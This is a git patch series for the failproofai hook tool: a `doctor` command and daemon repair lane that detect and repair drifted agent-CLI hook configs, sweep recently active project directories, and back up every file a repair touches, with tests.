{ + eprintln!("[failproofaid] repair {label}: {line}"); + } +} + +fn kill_process_group(child: &mut Child) { + let pgid = child.id() as libc::pid_t; + unsafe { + libc::kill(-pgid, libc::SIGKILL); + } + let _ = child.wait(); +} + +/// Sleep in slices so a SIGTERM during the hour-long gap is noticed promptly +/// rather than after it. +fn wait_until_shutdown(shutdown: &AtomicBool, total: Duration) { + let slice = Duration::from_millis(200); + let mut waited = Duration::ZERO; + while waited < total { + if shutdown.load(Ordering::Relaxed) { + return; + } + std::thread::sleep(slice); + waited += slice; + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn an_absent_or_empty_cli_command_is_not_usable() { + // Both mean the same thing operationally — the unit cannot launch the + // CLI — and treating "" as usable would spawn `sh -c " doctor --fix"`. + assert_eq!(usable_cli_command(None), None); + assert_eq!(usable_cli_command(Some(String::new())), None); + assert_eq!(usable_cli_command(Some(" ".to_string())), None); + assert_eq!( + usable_cli_command(Some(" /usr/bin/node /x/cli.mjs ".to_string())), + Some("/usr/bin/node /x/cli.mjs".to_string()) + ); + } + + #[test] + fn the_lane_says_a_permanent_condition_once() { + // Announced every hour, a permanent condition trains people to skip the + // daemon's log — which is where the interesting lines also live. + let mut lane = Lane::default(); + lane.announce("off", "first"); + assert_eq!(lane.announced, Some("off")); + lane.announce("off", "second"); + lane.announce("no-cli", "different condition"); + assert_eq!(lane.announced, Some("no-cli")); + } + + #[test] + fn waiting_returns_promptly_once_shutdown_is_set() { + let flag = AtomicBool::new(true); + let started = Instant::now(); + wait_until_shutdown(&flag, Duration::from_secs(3600)); + assert!(started.elapsed() < Duration::from_secs(1)); + } +} diff --git a/src/hooks/doctor-cli.ts b/src/hooks/doctor-cli.ts new file mode 100644 index 000000000..8042d32f3 --- /dev/null +++ b/src/hooks/doctor-cli.ts @@ -0,0 +1,189 @@ +/** + * `failproofai doctor` — is this machine's enforcement actually wired up? + * + * Pure: it takes argv and returns lines plus an exit code, so the behaviour is + * testable without a CLI, a TTY or a process. `bin/failproofai.mjs` only prints + * what comes back — the same split `harness-cli.ts` uses, and for the same + * reason: `.mjs` sits outside tsconfig, so anything living there is never + * type-checked. + * + * ## The exit codes are a contract, not a convention + * + * The daemon's repair lane runs this unattended and can only act on the number: + * + * 0 nothing wrong, or everything wrong was repaired + * 1 findings remain that a human should look at + * 2 we could not tell — refusing to answer, rather than answering "fine" + * + * 2 is deliberately distinct from 1. On a headless box "I checked and it is + * broken" and "I could not check" demand different responses, and collapsing + * them into one non-zero is how a detector that has silently stopped working + * gets mistaken for a machine that is merely unhealthy. + */ +import { detectConfigDrift, driftFindings, type ConfigDriftReport } from "./config-drift"; +import { repairConfigDrift, type RepairOutcome } from "./config-repair"; +import type { HookScope } from "./types"; + +export interface DoctorResult { + lines: string[]; + exitCode: number; +} + +interface DoctorOptions { + fix: boolean; + json: boolean; + scheduled: boolean; + scopes?: readonly HookScope[]; +} + +function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { + const opts: DoctorOptions = { fix: false, json: false, scheduled: false }; + for (const arg of argv) { + if (arg === "--fix") opts.fix = true; + else if (arg === "--json") opts.json = true; + // How the daemon's lane invokes it: same work, output shaped for a log + // rather than a terminal. + else if (arg === "--scheduled") opts.scheduled = true; + else if (arg === "--user") opts.scopes = ["user"]; + else if (arg === "--project") opts.scopes = ["project"]; + else return { error: `Unexpected argument: ${arg}` }; + } + return opts; +} + +/** `cli · scope` wide enough to line up, without a table library. */ +function label(r: { cli: string; scope: string }): string { + return `${r.cli.padEnd(12)} ${r.scope.padEnd(8)}`; +} + +function describe(report: ConfigDriftReport): string { + switch (report.status) { + case "ok": + return "ok"; + case "absent": + return "not installed here"; + case "stale": + return report.detail === "unrecognised-shape" + ? "DRIFTED — our hook is there but the format around it moved" + : "DRIFTED — reinstalling would change this file"; + case "stale_path": + return "ok (installed by a different failproofai path)"; + case "unreadable": + return `UNREADABLE — ${report.detail ?? "could not parse"}; needs a human`; + case "dogfood": + return "skipped — this repo's dev config"; + case "unsupported": + return "not checkable — regenerating it would write to disk"; + } +} + +function describeRepair(outcome: RepairOutcome): string { + switch (outcome.action) { + case "repaired": + return `REPAIRED — ${outcome.reason}`; + case "rolled_back": + return `ROLLED BACK — ${outcome.reason}; the previous file is restored`; + case "failed": + return `FAILED — ${outcome.reason}`; + case "skipped": + return `skipped — ${outcome.reason}`; + } +} + +export function runDoctorCommand(argv: readonly string[] = []): DoctorResult { + const parsed = parseArgs(argv); + if ("error" in parsed) { + return { lines: [parsed.error, "Run `failproofai doctor --help` for usage."], exitCode: 2 }; + } + + let reports: ConfigDriftReport[]; + try { + reports = detectConfigDrift({ scopes: parsed.scopes }); + } catch (err) { + // Exit 2, not 1: we did not find a problem, we failed to look. + const why = err instanceof Error ? err.message : String(err); + return { lines: [`Could not check this machine: ${why}`], exitCode: 2 }; + } + + const repairs = parsed.fix ? safeRepair(parsed.scopes) : null; + if (repairs === "failed") { + return { lines: ["Could not repair: the repair pass itself failed."], exitCode: 2 }; + } + + // Re-read after repairing so the verdict reflects the machine as it is NOW, + // not as it was before we changed it. + const after = parsed.fix ? detectConfigDrift({ scopes: parsed.scopes }) : reports; + const findings = driftFindings(after); + + if (parsed.json) { + return { + lines: [JSON.stringify({ reports: after, repairs: repairs ?? [], findings }, null, 2)], + exitCode: exitFor(findings), + }; + } + + return { lines: render(after, repairs, findings, parsed), exitCode: exitFor(findings) }; +} + +function safeRepair(scopes: readonly HookScope[] | undefined): RepairOutcome[] | "failed" { + try { + return repairConfigDrift({ scopes }); + } catch { + return "failed"; + } +} + +/** + * `unreadable` is a finding, so it exits non-zero — but it is NOT the same as + * drift, and the caller can tell them apart from the text. What it must not do + * is exit 0. + */ +function exitFor(findings: readonly ConfigDriftReport[]): number { + return findings.length > 0 ? 1 : 0; +} + +function render( + reports: readonly ConfigDriftReport[], + repairs: readonly RepairOutcome[] | null, + findings: readonly ConfigDriftReport[], + opts: DoctorOptions, +): string[] { + const lines: string[] = []; + const acted = (repairs ?? []).filter((r) => r.action !== "skipped"); + + if (!opts.scheduled) { + lines.push("failproofai doctor — hook configs on this machine", ""); + for (const r of reports) { + // A machine has twelve CLIs and most people install two. Listing ten + // "not installed here" lines buries the two that matter. + if (r.status === "absent") continue; + lines.push(` ${label(r)} ${describe(r)}`); + } + if (reports.every((r) => r.status === "absent")) { + lines.push(" no agent CLI has failproofai hooks installed on this machine"); + } + } + + if (acted.length > 0) { + if (!opts.scheduled) lines.push(""); + for (const r of acted) lines.push(` ${label(r)} ${describeRepair(r)}`); + } + + if (findings.length === 0) { + lines.push( + opts.scheduled + ? `doctor: ${reports.filter((r) => r.status === "ok").length} config(s) ok, nothing to repair` + : "\nNothing to fix.", + ); + return lines; + } + + lines.push(""); + lines.push(`${findings.length} config(s) need attention.`); + if (!opts.fix) { + // Naming the exact command beats "run doctor with --fix": the reader is + // usually looking at this in a log, hours later, out of context. + lines.push("Run `failproofai doctor --fix` to repair them."); + } + return lines; +} diff --git a/src/hooks/first-run-gate.ts b/src/hooks/first-run-gate.ts index aafc43a1e..8139a5f29 100644 --- a/src/hooks/first-run-gate.ts +++ b/src/hooks/first-run-gate.ts @@ -35,6 +35,10 @@ export const FIRST_RUN_EXEMPT_SUBCOMMANDS: readonly string[] = [ // Same reason: a backfill is an explicit instruction about an already-set-up // machine, and interrupting it to offer setup answers a question nobody asked. "backfill", + // The daemon's repair lane runs `doctor --fix --scheduled` unattended. An + // interactive setup prompt there is a lane that hangs until its timeout, + // every tick, forever — while the config says repair is on. + "doctor", ]; export function shouldOfferFirstRun(args: readonly string[]): boolean { From b4c7ab98db42b3d2207ea4bd7cf3ce8730185101 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 11:30:05 +0530 Subject: [PATCH 06/18] Reach project scope without the daemon ever inventing a cwd MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The daemon has no session cwd and PROTOCOL.md forbids it making one up, which looked like a reason project-scope configs could not be repaired from a scheduled run. They can: every hook event we record carries the directory it fired in, so the machine already knows which checkouts are live. `doctor` now sweeps those, and the lane drops its `--user` restriction. The hook path does no work for this, deliberately. It is fail-closed and latency-critical, so reading and rewriting config files there would buy latency on every tool call and risk a denial on a slow disk. Reading what it ALREADY recorded costs the hook nothing. Default is user scope plus recent projects; naming `--user` or `--project` narrows to exactly that and skips the sweep. ## Three things the live run corrected Reading one activity page was too thin a window. Every `failproofai` invocation writes a SessionStart health-probe row carrying no cwd, so a handful of ordinary commands evicted the real project directories and the sweep went quiet — looking exactly like a machine with no projects. It now walks up to four pages, still a bounded read. What it must never become is `getAllHookActivityEntries()`, which loads every page ever written and degrades into a timeout rather than an error. HOME is not a project. It gets recorded like any other cwd, and project scope inside HOME resolves to the very files USER scope owns. The two disagree by design — project installs the portable `npx` form, user an absolute binary path — so `~/.claude/settings.json` read `ok` as user and drifted as project, and repairing the project view would have rewritten a working user install into a shape it was deliberately not given. One file, one verdict. Nested checkouts reach the same settings file from two targets, and the same file under two scopes can legitimately disagree. Reporting both is confusing; acting on both is worse. First wins, and user scope is first. Verified live: the sweep found a real config in a sibling repo (agenteye/.codex/hooks.json) and correctly skipped all ten of this repo's dogfood configs as dev configs. 6 new tests. cargo + fmt clean, 3,870 unit tests green apart from two fp-reset cases that fail identically on clean main. Co-Authored-By: Claude Opus 5 (1M context) --- __tests__/hooks/doctor-cli.test.ts | 122 +++++++++++++++++- crates/failproofaid/src/repair_lane.rs | 12 +- src/hooks/doctor-cli.ts | 167 +++++++++++++++++++++++-- 3 files changed, 283 insertions(+), 18 deletions(-) diff --git a/__tests__/hooks/doctor-cli.test.ts b/__tests__/hooks/doctor-cli.test.ts index f76a0e217..0e7c03ad1 100644 --- a/__tests__/hooks/doctor-cli.test.ts +++ b/__tests__/hooks/doctor-cli.test.ts @@ -7,7 +7,7 @@ * "it is broken" and "I could not look" need different responses. */ import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync, readFileSync, writeFileSync } from "node:fs"; +import { mkdtempSync, rmSync, readFileSync, writeFileSync, mkdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { runDoctorCommand } from "../../src/hooks/doctor-cli"; @@ -156,3 +156,123 @@ describe("doctor: output shapes", () => { expect(text(result)).toContain("claude"); }); }); + +describe("doctor: project scope from recent activity", () => { + /** Write a hook-activity row so the sweep has a cwd to find. */ + function recordActivity(dir: string): void { + const activityDir = join(home, "hook-activity"); + mkdirSync(activityDir, { recursive: true }); + writeFileSync( + join(activityDir, "current.jsonl"), + JSON.stringify({ + timestamp: Date.now(), + eventType: "PreToolUse", + integration: "claude", + decision: "allow", + cwd: dir, + }) + "\n", + ); + } + + it("finds a drifted project config in a directory it was never given", () => { + // The daemon has no session cwd, so this is the only way project scope is + // reachable from a scheduled run: every recorded hook event carries the + // directory it fired in. + const path = install(); + makeStale(path); + recordActivity(cwd); + + // Deliberately run from somewhere else — the sweep must not depend on the + // process happening to sit in the right directory. + process.chdir(home); + const result = runDoctorCommand([]); + expect(result.exitCode).toBe(1); + expect(text(result)).toContain("DRIFTED"); + expect(text(result)).toContain(path); + }); + + it("repairs it, still without being told where it is", () => { + const path = install(); + makeStale(path); + recordActivity(cwd); + process.chdir(home); + + const fixed = runDoctorCommand(["--fix"]); + expect(fixed.exitCode).toBe(0); + expect(text(fixed)).toContain("REPAIRED"); + }); + + it("ignores a recorded directory that no longer exists", () => { + // Deleted checkouts and dead containers are normal. Repairing a path that + // is gone would create directories nobody asked for. + recordActivity(join(home, "long-since-deleted")); + const result = runDoctorCommand([]); + expect(result.exitCode).toBe(0); + }); + + it("does not sweep when a scope was named explicitly", () => { + const path = install(); + makeStale(path); + recordActivity(cwd); + process.chdir(home); + + // --user means user scope and nothing else, so the drifted project config + // must not appear. + const result = runDoctorCommand(["--user"]); + expect(text(result)).not.toContain(path); + expect(result.exitCode).toBe(0); + }); +}); + +describe("doctor: the two collisions the sweep can create", () => { + function recordCwds(...dirs: string[]): void { + const activityDir = join(home, "hook-activity"); + mkdirSync(activityDir, { recursive: true }); + writeFileSync( + join(activityDir, "current.jsonl"), + dirs + .map((cwd) => + JSON.stringify({ + timestamp: Date.now(), + eventType: "PreToolUse", + integration: "claude", + decision: "allow", + cwd, + }), + ) + .join("\n") + "\n", + ); + } + + it("never treats HOME as a project", () => { + // Project scope inside HOME resolves to the very files USER scope owns, and + // the two disagree by design — project installs the portable `npx` form, + // user an absolute path. Repairing the project view of + // `~/.claude/settings.json` would rewrite a working user install. + const fakeHome = mkdtempSync(join(tmpdir(), "fpai-fakehome-")); + const prevHome = process.env.HOME; + process.env.HOME = fakeHome; + try { + recordCwds(fakeHome); + const result = runDoctorCommand(["--json"]); + const parsed = JSON.parse(text(result)) as { reports: { scope: string }[] }; + expect(parsed.reports.some((r) => r.scope === "project")).toBe(false); + } finally { + if (prevHome === undefined) delete process.env.HOME; + else process.env.HOME = prevHome; + rmSync(fakeHome, { recursive: true, force: true }); + } + }); + + it("reports one verdict per file, even when two targets resolve to it", () => { + // Nested checkouts reach the same settings file twice, and a file inspected + // under two scopes can legitimately disagree. Reporting both is confusing; + // acting on both is worse. + install(); + recordCwds(cwd, cwd); + const result = runDoctorCommand(["--json"]); + const parsed = JSON.parse(text(result)) as { reports: { settingsPath: string }[] }; + const paths = parsed.reports.map((r) => r.settingsPath); + expect(new Set(paths).size).toBe(paths.length); + }); +}); diff --git a/crates/failproofaid/src/repair_lane.rs b/crates/failproofaid/src/repair_lane.rs index f427350a8..441db2a70 100644 --- a/crates/failproofaid/src/repair_lane.rs +++ b/crates/failproofaid/src/repair_lane.rs @@ -22,9 +22,13 @@ //! that socket speaks only `hook`, a committed test fails if anyone adds a //! second message type, and its 30s cap turns into a machine-wide deny. //! -//! USER scope only. Project scope needs a session cwd, which this daemon does -//! not have and `PROTOCOL.md` forbids it inventing — that half belongs on the -//! hook path, where a real cwd arrives with every request. +//! Project scope is reachable from here after all, without the daemon ever +//! inventing a cwd — which `PROTOCOL.md` forbids and which was the reason to +//! think it was not. Every hook event we recorded carries the directory it +//! fired in, so `doctor` sweeps the projects agents have actually been working +//! in by reading the newest page of the activity log. The hook path itself does +//! no work for this: it is fail-closed, and file I/O there would buy latency on +//! every tool call and risk a denial on a slow disk. use std::io; use std::panic::AssertUnwindSafe; @@ -232,7 +236,7 @@ fn spawn_child(cli_cmd: &str) -> io::Result { let mut command = Command::new("sh"); command .arg("-c") - .arg(format!("{cli_cmd} doctor --fix --scheduled --user")) + .arg(format!("{cli_cmd} doctor --fix --scheduled")) .stdin(Stdio::null()) // Piped and drained for the same two reasons the worker's spawn is: // inheriting this process's stdout hands the child an fd that may belong diff --git a/src/hooks/doctor-cli.ts b/src/hooks/doctor-cli.ts index 8042d32f3..8fff3de53 100644 --- a/src/hooks/doctor-cli.ts +++ b/src/hooks/doctor-cli.ts @@ -20,10 +20,86 @@ * them into one non-zero is how a detector that has silently stopped working * gets mistaken for a machine that is merely unhealthy. */ +import { existsSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { resolve } from "node:path"; import { detectConfigDrift, driftFindings, type ConfigDriftReport } from "./config-drift"; import { repairConfigDrift, type RepairOutcome } from "./config-repair"; +import { getHookActivityPage, getHookActivityPageCount } from "./hook-activity-store"; import type { HookScope } from "./types"; +/** + * How many recent project directories to check. + * + * Read from the newest activity page only — 25 rows — rather than the whole + * store. `getAllHookActivityEntries()` loads every page file ever written, and + * on a machine with months of history that is thousands of files read in full, + * which does not fail loudly: it degrades into a timeout, and a repair lane that + * quietly stops running is the exact failure this feature exists to remove. + */ +const MAX_RECENT_PROJECTS = 8; + +/** + * How many activity pages to walk back through, newest first. + * + * One page is 25 rows and that turned out to be too thin a window: every + * `failproofai` CLI invocation writes a SessionStart health-probe row carrying + * no cwd at all, so a handful of ordinary commands evicts the real project + * directories and the sweep goes quiet — looking exactly like a machine with no + * projects. Four pages is still a bounded read; what it must never become is + * `getAllHookActivityEntries()`, which loads every page ever written and + * degrades into a timeout rather than an error. + */ +const MAX_ACTIVITY_PAGES = 4; + +/** + * The project directories agents have actually been working in. + * + * The daemon has no session cwd — `PROTOCOL.md` forbids it inventing one — so + * project-scope configs would otherwise be unreachable from a scheduled run. + * They are not unknowable though: every hook event we recorded carries the cwd + * it fired in, so the machine already knows which projects are live without the + * hook path doing any work at all. That matters because the alternative was + * repairing inline on a tool call, and this path is fail-closed: file I/O there + * buys latency on every call and risks a denial on a slow disk. + */ +export function recentProjectCwds(): string[] { + const rows: { cwd?: string }[] = []; + try { + const pages = Math.min(getHookActivityPageCount(), MAX_ACTIVITY_PAGES); + for (let page = 1; page <= pages; page++) { + rows.push(...getHookActivityPage(page)); + if (rows.length > MAX_ACTIVITY_PAGES * 50) break; + } + } catch { + return []; + } + const seen = new Set(); + for (const row of rows) { + if (seen.size >= MAX_RECENT_PROJECTS) break; + const cwd = row.cwd; + if (!cwd || seen.has(cwd)) continue; + // HOME is not a project. Treating it as one makes project scope resolve to + // the very files user scope owns — `~/.claude/settings.json` and its + // siblings — and the two scopes disagree by design: project installs write + // the portable `npx` form, user installs an absolute binary path. So the + // same file reads `ok` as user and drifted as project, and repairing the + // project view would rewrite a working user-scope install into a shape it + // was deliberately not given. + if (resolve(cwd) === resolve(process.env.HOME || homedir())) continue; + try { + // A recorded cwd can be long gone — a deleted checkout, a container that + // no longer exists. Repairing a path that is not there would create + // directories nobody asked for. + if (!existsSync(cwd) || !statSync(cwd).isDirectory()) continue; + } catch { + continue; + } + seen.add(cwd); + } + return [...seen]; +} + export interface DoctorResult { lines: string[]; exitCode: number; @@ -34,18 +110,27 @@ interface DoctorOptions { json: boolean; scheduled: boolean; scopes?: readonly HookScope[]; + /** Also sweep the project dirs recent hook activity came from. */ + recentProjects: boolean; } function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { - const opts: DoctorOptions = { fix: false, json: false, scheduled: false }; + // Default: user scope PLUS the projects agents are actually working in. + // Naming a scope explicitly narrows to it. + const opts: DoctorOptions = { fix: false, json: false, scheduled: false, recentProjects: true }; for (const arg of argv) { if (arg === "--fix") opts.fix = true; else if (arg === "--json") opts.json = true; // How the daemon's lane invokes it: same work, output shaped for a log // rather than a terminal. else if (arg === "--scheduled") opts.scheduled = true; - else if (arg === "--user") opts.scopes = ["user"]; - else if (arg === "--project") opts.scopes = ["project"]; + else if (arg === "--user") { + opts.scopes = ["user"]; + opts.recentProjects = false; + } else if (arg === "--project") { + opts.scopes = ["project"]; + opts.recentProjects = false; + } else return { error: `Unexpected argument: ${arg}` }; } return opts; @@ -56,6 +141,14 @@ function label(r: { cli: string; scope: string }): string { return `${r.cli.padEnd(12)} ${r.scope.padEnd(8)}`; } +/** + * Project rows are per-directory, so without the path two different checkouts + * render as the same line twice and a reader cannot tell which one is broken. + */ +function suffix(r: ConfigDriftReport): string { + return r.scope === "project" ? ` (${r.settingsPath})` : ""; +} + function describe(report: ConfigDriftReport): string { switch (report.status) { case "ok": @@ -90,29 +183,57 @@ function describeRepair(outcome: RepairOutcome): string { } } +interface Target { + scopes: readonly HookScope[]; + cwd?: string; +} + +/** + * What to inspect. + * + * An explicit scope means exactly that scope and nothing else. Otherwise: user + * scope, plus project scope in each directory agents have recently worked in — + * because "the project configs on this machine" is not a fixed set, it is + * whichever checkouts are live, and only the activity log knows that. + */ +function targetsFor(opts: DoctorOptions): Target[] { + if (opts.scopes) return [{ scopes: opts.scopes }]; + const targets: Target[] = [{ scopes: ["user"] }]; + if (opts.recentProjects) { + for (const cwd of recentProjectCwds()) targets.push({ scopes: ["project"], cwd }); + } + return targets; +} + export function runDoctorCommand(argv: readonly string[] = []): DoctorResult { const parsed = parseArgs(argv); if ("error" in parsed) { return { lines: [parsed.error, "Run `failproofai doctor --help` for usage."], exitCode: 2 }; } - let reports: ConfigDriftReport[]; + const targets = targetsFor(parsed); + + let before: ConfigDriftReport[]; try { - reports = detectConfigDrift({ scopes: parsed.scopes }); + before = dedupeByPath(targets.flatMap((t) => detectConfigDrift(t))); } catch (err) { // Exit 2, not 1: we did not find a problem, we failed to look. const why = err instanceof Error ? err.message : String(err); return { lines: [`Could not check this machine: ${why}`], exitCode: 2 }; } - const repairs = parsed.fix ? safeRepair(parsed.scopes) : null; - if (repairs === "failed") { - return { lines: ["Could not repair: the repair pass itself failed."], exitCode: 2 }; + let repairs: RepairOutcome[] | null = null; + if (parsed.fix) { + const attempted = targets.map((t) => safeRepair(t)); + if (attempted.some((r) => r === "failed")) { + return { lines: ["Could not repair: the repair pass itself failed."], exitCode: 2 }; + } + repairs = attempted.flatMap((r) => (r === "failed" ? [] : r)); } // Re-read after repairing so the verdict reflects the machine as it is NOW, // not as it was before we changed it. - const after = parsed.fix ? detectConfigDrift({ scopes: parsed.scopes }) : reports; + const after = parsed.fix ? dedupeByPath(targets.flatMap((t) => detectConfigDrift(t))) : before; const findings = driftFindings(after); if (parsed.json) { @@ -125,9 +246,29 @@ export function runDoctorCommand(argv: readonly string[] = []): DoctorResult { return { lines: render(after, repairs, findings, parsed), exitCode: exitFor(findings) }; } -function safeRepair(scopes: readonly HookScope[] | undefined): RepairOutcome[] | "failed" { +/** + * One file, one verdict. + * + * Two targets can resolve to the same settings file — nested checkouts, or a + * recorded cwd that happens to sit above another — and the same file inspected + * under two scopes can legitimately disagree, because the scopes install + * different commands. Reporting both is confusing; acting on both is worse. + * First wins, and user scope is always first. + */ +function dedupeByPath(reports: readonly ConfigDriftReport[]): ConfigDriftReport[] { + const seen = new Set(); + const out: ConfigDriftReport[] = []; + for (const r of reports) { + if (seen.has(r.settingsPath)) continue; + seen.add(r.settingsPath); + out.push(r); + } + return out; +} + +function safeRepair(target: Target): RepairOutcome[] | "failed" { try { - return repairConfigDrift({ scopes }); + return repairConfigDrift(target); } catch { return "failed"; } @@ -157,7 +298,7 @@ function render( // A machine has twelve CLIs and most people install two. Listing ten // "not installed here" lines buries the two that matter. if (r.status === "absent") continue; - lines.push(` ${label(r)} ${describe(r)}`); + lines.push(` ${label(r)} ${describe(r)}${suffix(r)}`); } if (reports.every((r) => r.status === "absent")) { lines.push(" no agent CLI has failproofai hooks installed on this machine"); @@ -166,7 +307,7 @@ function render( if (acted.length > 0) { if (!opts.scheduled) lines.push(""); - for (const r of acted) lines.push(` ${label(r)} ${describeRepair(r)}`); + for (const r of acted) lines.push(` ${label(r)} ${describeRepair(r)} (${r.settingsPath})`); } if (findings.length === 0) { From c73a251cb7b30fcda3b1e7142386cef3dd005675 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 12:34:11 +0530 Subject: [PATCH 07/18] Make every integration inspectable, and back up everything a repair touches MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two gaps that were both "true for eleven integrations, quietly false for the twelfth", with nothing in the code saying so. ## OpenCode was the one CLI a read-only check could not inspect The real distinction was never "has a shim". `pi-extension/` and `openclaw-plugin/` ship INSIDE the npm tarball, so installing them writes one path string and the writer only touches the object it was handed. OpenCode has no shipped package: its shim is generated per machine with the binary path baked in, so its `writeHookEntries` also wrote a file — which is why drift detection, which regenerates through that method to compare, rewrote a real tracked shim and had to be gated `unsupported`. `writeHookEntries` gains an optional `{ pure }`. Eleven integrations ignore it; OpenCode skips the file write. Detection passes it, so inspecting a machine can no longer modify it, and the gate is gone — the purity test that asserted `["opencode"]` now asserts `[]`. Inspecting only the REGISTRATION would have been worse than the gate, so `sidecarFiles()` declares the files an integration owns beyond its settings file, with the contents it would write now. Detection compares them: `sidecar-stale`, `sidecar-missing`. Found live on the developer's own machine within a minute of shipping — an installed shim carrying `FAILPROOFAI_BIN = "/usr/bin/failproofai"`, a path that does not exist there, while `opencode.json` read perfectly. Every check that existed before this one called that machine healthy. The raw-text trace check widened to our name alone rather than our name beside `--hook`: three integrations register a PATH, not a command, so an opencode config whose shim had been deleted read as "never installed" rather than "installed and broken". ## Repair could write two files and undo one `backup()` copied the settings file; the rewrite also regenerates the sidecar. So the guarantee in this module's header — "the worst case of repairing is no worse than not repairing" — was false for the only integration with a sidecar: a bad shim beside a restored settings file is a mismatched pair. Backups are now a directory per repair holding every file it can touch plus a `manifest.json`, so a human restoring by hand after a failed rollback can see what went where. Pruning is per repair rather than per file, because half a backup set cannot restore anything. `existed: false` is recorded and is the inverse operation: a repair that CREATES a file must delete it on rollback, since restoring "nothing" by doing nothing leaves the machine holding a file it never had. Known gap, stated rather than hidden: the delete-on-rollback branch is asserted through the manifest flag, not end to end. Forcing a verification failure AFTER the sidecar is written needs the settings write to fail while the sidecar write succeeds, and every arrangement that does so also breaks the restore. 213 test files, 3,876 tests, all green. tsc, cargo test, clippy and fmt clean. Co-Authored-By: Claude Opus 5 (1M context) --- __tests__/hooks/config-drift.test.ts | 85 +++++++++++-- __tests__/hooks/config-repair.test.ts | 83 ++++++++++++- src/hooks/config-drift.ts | 86 +++++++++---- src/hooks/config-repair.ts | 166 ++++++++++++++++++++------ src/hooks/integrations.ts | 65 +++++++++- 5 files changed, 405 insertions(+), 80 deletions(-) diff --git a/__tests__/hooks/config-drift.test.ts b/__tests__/hooks/config-drift.test.ts index b9d2975df..3e12bdb97 100644 --- a/__tests__/hooks/config-drift.test.ts +++ b/__tests__/hooks/config-drift.test.ts @@ -242,14 +242,15 @@ describe("config-drift: it must never WRITE", () => { it("pins exactly which writers touch disk, for all twelve", () => { // The detector regenerates via `writeHookEntries` to compare, which is only - // safe while that call is pure. OpenCode's is NOT: it also generates its - // ~190-line plugin shim, because for that CLI the shim IS the install. - // Calling it from a read-only check rewrote this repo's own tracked - // `.opencode/plugins/failproofai.mjs`. + // safe while that call writes nothing. OpenCode's used to: it also generated + // its ~190-line plugin shim, because for that CLI the shim IS the install, + // and a read-only check rewrote this repo's own tracked + // `.opencode/plugins/failproofai.mjs`. It now honours `pure`, so the set + // below is EMPTY and every integration is inspectable. // // Asserted against the writers directly rather than through // detectConfigDrift, so it cannot pass vacuously: a new integration that - // grows a side effect fails here and must be added to the gate. + // grows a side effect fails here. const impure: string[] = []; for (const cli of INTEGRATION_TYPES) { let integration: ReturnType; @@ -270,7 +271,7 @@ describe("config-drift: it must never WRITE", () => { const before = snapshot(sandbox); try { const settings = integration.readSettings(integration.getSettingsPath(scope, sandbox)); - integration.writeHookEntries(settings, BINARY, scope); + integration.writeHookEntries(settings, BINARY, scope, { pure: true }); } catch { // A writer that throws here is not a purity question. } @@ -282,14 +283,74 @@ describe("config-drift: it must never WRITE", () => { rmSync(sandbox, { recursive: true, force: true }); } } - expect(impure).toEqual(["opencode"]); + expect(impure).toEqual([]); }); - it("refuses to guess for an integration it cannot regenerate purely", () => { - const path = join(cwd, "opencode.json"); - writeFileSync(path, JSON.stringify({ plugin: ["./x"] })); - const reports = detectConfigDrift({ clis: ["opencode"], cwd }); - for (const r of reports) expect(["unsupported", "absent"]).toContain(r.status); + it("now inspects opencode instead of refusing to", () => { + // OpenCode derives its project paths from `process.cwd()` rather than the + // cwd argument, which is why integrations.test.ts chdirs for it too. + const prev = process.cwd(); + process.chdir(cwd); + try { + // It was `unsupported` because checking it meant writing to disk. It no + // longer does, so "we cannot tell" is no longer an answer we give here. + const oc = getIntegration("opencode"); + const path = oc.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + const settings = oc.readSettings(path); + oc.writeHookEntries(settings, BINARY, "project"); + oc.writeSettings(path, settings); + + const reports = detectConfigDrift({ clis: ["opencode"], scopes: ["project"], cwd }); + expect(reports[0].status).toBe("ok"); + } finally { + process.chdir(prev); + } + }); + + it("catches a shim that no longer matches what we would generate", () => { + const prev = process.cwd(); + process.chdir(cwd); + try { + // The case that made a half-fix worse than the gate: the registration is + // perfect and points at a shim built by a binary path that has moved, so + // the CLI loads something inert while the settings file reads healthy. + const oc = getIntegration("opencode"); + const path = oc.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + const settings = oc.readSettings(path); + oc.writeHookEntries(settings, BINARY, "project"); + oc.writeSettings(path, settings); + + const shim = oc.sidecarFiles!(BINARY, "project", path)[0]; + writeFileSync(shim.path, shim.content.replace("failproofai", "failproofai-OLD-PATH")); + + const report = detectConfigDrift({ clis: ["opencode"], scopes: ["project"], cwd })[0]; + expect(report.status).toBe("stale"); + expect(report.detail).toBe("sidecar-stale"); + } finally { + process.chdir(prev); + } + }); + + it("catches a registration whose shim has been deleted", () => { + const prev = process.cwd(); + process.chdir(cwd); + try { + const oc = getIntegration("opencode"); + const path = oc.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + const settings = oc.readSettings(path); + oc.writeHookEntries(settings, BINARY, "project"); + oc.writeSettings(path, settings); + rmSync(oc.sidecarFiles!(BINARY, "project", path)[0].path, { force: true }); + + const report = detectConfigDrift({ clis: ["opencode"], scopes: ["project"], cwd })[0]; + expect(report.status).toBe("stale"); + expect(report.detail).toBe("sidecar-missing"); + } finally { + process.chdir(prev); + } }); }); diff --git a/__tests__/hooks/config-repair.test.ts b/__tests__/hooks/config-repair.test.ts index 8a71c05fa..b177e9673 100644 --- a/__tests__/hooks/config-repair.test.ts +++ b/__tests__/hooks/config-repair.test.ts @@ -6,7 +6,15 @@ * the original bytes back rather than leaving a file it could not verify. */ import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync, readFileSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; +import { + mkdtempSync, + rmSync, + readFileSync, + writeFileSync, + mkdirSync, + readdirSync, + existsSync, +} from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import { repairConfigDrift } from 